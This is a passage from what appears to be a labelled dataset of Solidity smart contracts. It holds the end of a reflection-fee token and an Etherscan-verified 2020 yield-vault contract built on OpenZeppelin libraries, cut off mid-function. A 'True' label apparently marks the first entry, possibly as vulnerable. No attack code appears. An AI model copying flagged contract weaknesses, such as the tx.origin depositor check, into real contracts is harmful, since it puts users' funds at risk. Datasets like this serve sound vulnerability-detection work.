function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-11-27
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Converter {
function convert(address) external returns (uint);
}
interface ICompositeVault {
function cap() external view returns (uint);
function getConverter() external view returns (address);
function getVaultMaster() external view returns (address);
function balance() external view returns (uint);
function tvl() external view returns (uint); // total dollar value
function token() external view returns (address);
function available() external view returns (uint);
function accept(address _input) external view returns (bool);
function earn() external;
function harvest(address reserve, uint amount) external;
function addNewCompound(uint, uint) external;
function withdraw_fee(uint _shares) external view returns (uint);
function calc_token_amount_deposit(address _input, uint _amount) external view returns (uint);
function calc_add_liquidity(uint _amount0, uint _amount1) external view returns (uint);
function calc_token_amount_withdraw(uint _shares, address _output) external view returns (uint);
function calc_remove_liquidity(uint _shares) external view returns (uint _amount0, uint _amount1);
function getPricePerFullShare() external view returns (uint);
function get_virtual_price() external view returns (uint); // average dollar value of vault share token
function deposit(address _input, uint _amount, uint _min_mint_amount) external returns (uint);
function depositFor(address _account, address _to, address _input, uint _amount, uint _min_mint_amount) external returns (uint _mint_amount);
function addLiquidity(uint _amount0, uint _amount1, uint _min_mint_amount) external returns (uint);
function addLiquidityFor(address _account, address _to, uint _amount0, uint _amount1, uint _min_mint_amount) external returns (uint _mint_amount);
function withdraw(uint _shares, address _output, uint _min_output_amount) external returns (uint);
function withdrawFor(address _account, uint _shares, address _output, uint _min_output_amount) external returns (uint _output_amount);
function harvestStrategy(address _strategy) external;
function harvestAllStrategies() external;
}
interface IVaultMaster {
function bank(address) view external returns (address);
function isVault(address) view external returns (bool);
function isController(address) view external returns (bool);
function isStrategy(address) view external returns (bool);
function slippage(address) view external returns (uint);
function convertSlippage(address _input, address _output) view external returns (uint);
function valueToken() view external returns (address);
function govVault() view external returns (address);
function insuranceFund() view external returns (address);
function performanceReward() view external returns (address);
function govVaultProfitShareFee() view external returns (uint);
function gasFee() view external returns (uint);
function insuranceFee() view external returns (uint);
function withdrawalProtectionFee() view external returns (uint);
}
interface IController {
function vault() external view returns (address);
function strategyLength() external view returns (uint);
function strategyBalance() external view returns (uint);
function getStrategyCount() external view returns(uint);
function strategies(uint _stratId) external view returns (address _strategy, uint _quota, uint _percent);
function getBestStrategy() external view returns (address _strategy);
function want() external view returns (address);
function balanceOf() external view returns (uint);
function withdraw_fee(uint _amount) external view returns (uint); // eg. 3CRV => pJar: 0.5% (50/10000)
function investDisabled() external view returns (bool);
function withdraw(uint) external returns (uint _withdrawFee);
function earn(address _token, uint _amount) external;
function harvestStrategy(address _strategy) external;
function harvestAllStrategies() external;
}
interface ILpPairConverter {
function lpPair() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function accept(address _input) external view returns (bool);
function get_virtual_price() external view returns (uint);
function convert_rate(address _input, address _output, uint _inputAmount) external view returns (uint _outputAmount);
function calc_add_liquidity(uint _amount0, uint _amount1) external view returns (uint);
function calc_remove_liquidity(uint _shares) external view returns (uint _amount0, uint _amount1);
function convert(address _input, address _output, address _to) external returns (uint _outputAmount);
function add_liquidity(address _to) external returns (uint _outputAmount);
function remove_liquidity(address _to) external returns (uint _amount0, uint _amount1);
}
abstract contract CompositeVaultBase is ERC20UpgradeSafe, ICompositeVault {
using Address for address;
using SafeMath for uint;
using SafeERC20 for IERC20;
IERC20 public basedToken;
IERC20 public token0;
IERC20 public token1;
uint public min = 9500;
uint public constant max = 10000;
uint public earnLowerlimit = 1; // minimum to invest
uint public depositLimit = 0; // limit for each deposit (set 0 to disable)
uint private totalDepositCap = 0; // initial cap (set 0 to disable)
address public governance;
address public controller;
IVaultMaster vaultMaster;
ILpPairConverter public basedConverter; // converter for basedToken (SLP or BPT or UNI)
mapping(address => address) public converterMap; // non-core token => converter
bool public acceptContractDepositor = false;
mapping(address => bool) public whitelistedContract;
bool private _mutex;
// variable used for avoid the call of mint and redeem in the same tx
bytes32 private _minterBlock;
uint public totalPendingCompound;
uint public startReleasingCompoundBlk;
uint public endReleasingCompoundBlk;
function initialize(IERC20 _basedToken, IERC20 _token0, IERC20 _token1, IVaultMaster _vaultMaster) public initializer {
__ERC20_init(_getName(), _getSymbol());
basedToken = _basedToken;
token0 = _token0;
token1 = _token1;
vaultMaster = _vaultMaster;
governance = msg.sender;
}
function _getName() internal virtual view returns (string memory);
function _getSymbol() internal virtual view returns (string memory);
/**
* @dev Throws if called by a not-whitelisted contract while we do not accept contract depositor.
*/
modifier checkContract(address _account) {
if (!acceptContractDepositor && !whitelistedContract[_account] && (_account != vaultMaster.bank(address(this)))) {
require(!address(_account).isContract() && _account == tx.origin, "contract not support");
}
_;
}
modifier _non_reentrant_() {
require(!_mutex, "reentry");
_mutex = true;
_;
_mutex = false;
}
function setAcceptContractDepositor(bool _acceptContractDepositor) external {
require(msg.sender == governance, "!governance");
acceptContractDepositor = _acceptContractDepositor;
}
function whitelistContract(address _contract) external {
require(msg.sender == governance, "!governance");
whitelistedContract[_contract] = true;
}
function unwhitelistContract(address _contract) external {
require(msg.sender == governance, "!governance");
whitelistedContract[_contract] = false;
}
function cap() external override view returns (uint) {
return totalDepositCap;
}
function getConverter() external override view returns (address) {
return address(basedConverter);
}
function getVaultMaster() external override view returns (address) {
return address(vaultMaster);
}
function accept(address _input) external override view returns (bool) {
return basedConverter.accept(_input);
}
function addNewCompound(uint _newCompound, uint _blocksToReleaseCompound) external override {
require(msg.sender == governance || vaultMaster.isStrategy(msg.sender), "!authorized");
if (_blocksToReleaseCompound == 0) {
totalPendingCompound = 0;
startReleasingCompoundBlk = 0;
endReleasingCompoundBlk = 0;
} else {
totalPendingCompound = pendingCompound().add(_newCompound);
startReleasingCompoundBlk = block.number;
endReleasingCompoundBlk = block.number.add(_blocksToReleaseCompound);
}
}
function pendingCompound() public view returns (uint) {
if (totalPendingCompound == 0 || endReleasingCompoundBlk <= block.number) return 0;
return totalPendingCompound.mul(endReleasingCompoundBlk.sub(block.number)).div(endReleasingCompoundBlk.sub(startReleasingCompoundBlk).add(1));
}
function balance() public override view returns (uint _balance) {
_balance = basedToken.balanceOf(address(this)).add(IController(controller).balanceOf()).sub(pendingCompound());
}
function tvl() public override view returns (uint) {
return balance().mul(basedConverter.get_virtual_price()).div(1e18);
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
require(IController(_controller).want() == address(basedToken), "!token");
controller = _controller;
}
function setConverter(ILpPairConverter _converter) external {
require(msg.sender == governance, "!governance");
require(_converter.lpPair() == address(basedToken), "!token");
basedConverter = _converter;
}
function setConverterMap(address _token, address _converter) external {
require(msg.sender == governance, "!governance");
converterMap[_token] = _converter;
}
function setVaultMaster(IVaultMaster _vaultMaster) external {
require(msg.sender == governance, "!governance");
vaultMaster = _vaultMaster;
}
function setEarnLowerlimit(uint _earnLowerlimit) external {
require(msg.sender == governance, "!governance");
earnLowerlimit = _earnLowerlimit;
}
function setCap(uint _cap) external {
require(msg.sender == governance, "!governance");
totalDepositCap = _cap;
}
function setDepositLimit(uint _limit) external {
require(msg.sender == governance, "!governance");
depositLimit = _limit;
}
function token() public override view returns (address) {
return address(basedToken);
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public override view returns (uint) {
return basedToken.balanceOf(address(this)).mul(min).div(max);
}
function earn() public override {
if (controller != address(0)) {
IController _contrl = IController(controller);
if (!_contrl.investDisabled()) {
uint _bal = available();
if (_bal >= earnLowerlimit) {
basedToken.safeTransfer(controller, _bal);
_contrl.earn(address(basedToken), _bal);
}
}
}
}
// Only allows to earn some extra yield from non-core tokens
function earnExtra(address _token) external {
require(msg.sender == governance, "!governance");
require(converterMap[_token] != address(0), "!converter");
require(address(_token) != address(basedToken), "token");
require(address(_token) != address(this), "share");
uint _amount = IERC20(_token).balanceOf(address(this));
address _converter = converterMap[_token];
IERC20(_token).safeTransfer(_converter, _amount);
Converter(_converter).convert(_token);
}
function withdraw_fee(uint _shares) public override view returns (uint) {
return (controller == address(0)) ? 0 : IController(controller).withdraw_fee(_shares);
}
function calc_token_amount_deposit(address _input, uint _amount) external override view returns (uint) {
return basedConverter.convert_rate(_input, address(basedToken), _amount).mul(1e18).div(getPricePerFullShare());
}
function calc_add_liquidity(uint _amount0, uint _amount1) external override view returns (uint) {
return basedConverter.calc_add_liquidity(_amount0, _amount1).mul(1e18).div(getPricePerFullShare());
}
function _calc_shares_to_amount_withdraw(uint _shares) internal view returns (uint) {
uint _withdrawFee = withdraw_fee(_shares);
if (_withdrawFee > 0) {
_shares = _shares.sub(_withdrawFee);
}
uint _totalSupply = totalSupply();
return (_totalSupply == 0) ? _shares : (balance().mul(_shares)).div(_totalSupply);
}
function calc_token_amount_withdraw(uint _shares, address _output) external override view returns (uint) {
uint r = _calc_shares_to_amount_withdraw(_shares);
if (_output != address(basedToken)) {
r = basedConverter.convert_rate(address(basedToken), _output, r);
}
return r.mul(getPricePerFullShare()).div((1e18));
}
function calc_remove_liquidity(uint _shares) external override view returns (uint _amount0, uint _amount1) {
uint r = _calc_shares_to_amount_withdraw(_shares);
(_amount0, _amount1) = basedConverter.calc_remove_liquidity(r);
